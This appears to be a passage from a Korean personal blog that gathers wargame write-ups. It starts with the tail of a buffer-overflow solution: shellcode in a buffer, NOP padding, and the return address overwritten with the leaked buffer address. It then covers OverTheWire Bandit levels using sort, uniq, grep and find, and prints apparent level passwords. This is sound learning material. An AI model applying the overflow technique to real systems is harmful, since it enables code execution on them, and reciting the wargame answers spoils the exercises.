p.interactive()

(shellcode는 그냥 인터넷에서 찾아서 긁어왔다 ㅎ..)

 

1. 우선 처음 nc 접속하면 "buf = (buf의 address)" 가 출력된다. buf의 address는 (0xXXXXXXXX) 이런 형태를 띠고있을 것이므로, 해당 주소는 10글자라고 할 수 있다. 따라서, "buf = (" 이후, 열글자를 16진수형 정수로 받아 이를 buf_addr에 저장해준다.

2. 그 다음, shellcode를 buf에 저장해주고, 나머지는 NOP으로 가득 채워준 후, SFP도 그냥 NOP으로 채우고 나서, return address를 buf의 시작주소로 지정해주어 이를 실행해주면 될 것이다!

 

성공한 것으로 보인다.

 

역시 처음 공부하는건 다 재밌다 ㅎ

반응형
반응형

이번에는 data.txt 안에 존재하는 문자열 중 오직 한 번만 등장하는 문자열이 정답이라고 하는 것 같다.

sort 명령어와 uniq 명령어를 사용해보았다.

sort 명령어는 문자열을 오름차순으로 정렬해주는 명령어

sort [파일명]

uniq 명령어는 정렬된 문자열에서 중복되는 문자열들을 없애주는 역할을 한다.)

uniq -u 옵션 : 중복되지 않은 녀석들 제거

EN632PlfYiZbn3PhVK3XOGSlNInNE00t

정답 !! ^^

반응형
반응형

이번에는 data.txt 라는 파일 속에  millionth옆에 비밀번호가 있다고 한다.

이럴 때 당장 생각나는건 우선 grep 명령어를 통해서 millionth 가 포함된 문장을 찾는 것을 생각해보았다.

 

TESKZC0XvTetK0S9xNwm25STk5iWrBvP

어라... 간단하게 해결되었다.

% grep 사용법

추출된 문자열에서 특수한 문자 또는 문자열이 포함된 행을 찾는 명령어이다. 

grep "문자열"을 통해 찾아낼 수 있다.

 

반응형
반응형

이번에는 무슨 서버 어딘가에 있다고 하고

bandit7이라는 유저의 소유, bandit6 그룹에 속해있고, 33 byte라고 한다.

이번에도 find 명령어를 사용해볼 수 있을 것 같다. 그런데...

애초에 홈디렉토리에 아무것도 존재하지 않는다..

그런데 문제의 발문을 다시한번 살펴보면 홈디렉토리가 아닌 "서버 어딘가" 에 있다고 했으니깐

루트 디렉토리에서 살펴보면 되지 않을까 싶다.

find 명령어를 이용해서 user, group, size 옵션을 이용해서 찾아봤는데도 뭐가 엄청 많이 나온다.

이렇게 해서는 뭘 찾기가 힘들어보인다.

우선 해결방법이다.

이렇게 하면 permission denied가 뜬 행들을 다 지워버리고 우리가 찾는 결과만 남길 수 있는데, 

설명

2>/dev/null

 

1. 파일 디스크립터

자세한 내용은 생략하고 여기에 필요한 정보만 가져오자면,

파일 디스크립터는 파일의 실행 등등을 관리하는 일종의 flag라고 볼 수 있을 것 같다.

0,1,2는 각각이 고유의 의미를 가지고 있고, 3부터는 파일이나 프로그램실행시마다 임의로 부여되는데,

0 : 표준 입력

1 : 표준 출력

2 : 표준 에러

라는 의미를 가지고 있다.

우리가 본 결과에서 Permission denied는 에러가 표시되었다는 뜻이므로 2 가 될 것이다.

이제 이녀석들이 출력되지 않도록 관리해야겠지? 

 

2. redirection

A > B : A의 결과를 B로 보냄

A >> B : A 결과를 B 데이터에 추가

A < B : B의 데이터를 A에 입력

라는 뜻을 가지고 있다.

 

3. /dev/null

리눅스에서 쓰이는 일종의 쓰레기통같은거다.

 

이런 개념을 이용해서 에러가 난 (권한 문제 등) 파일들을 버려버리면,

정답을 찾을 수 있다.

z7WtoNQU2XfjmMtWA8u5rN4vzqu4v99S

반응형

+ Recent posts